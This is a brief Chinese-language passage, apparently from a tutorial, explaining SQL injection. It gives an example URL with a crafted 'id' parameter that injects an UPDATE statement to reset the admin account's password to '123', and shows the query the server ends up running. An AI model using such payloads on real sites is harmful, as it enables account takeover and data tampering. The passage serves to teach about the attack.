可以傳遞到數據庫的數據都是攻擊對象 示例 http: www zpedu com showdetail asp?id=49’ And (update user set passwd=‘123’ where username=‘admin’);-- Select * from 表名 where 字段=’49’ And (update user set passwd=‘123’ where username=‘admin’);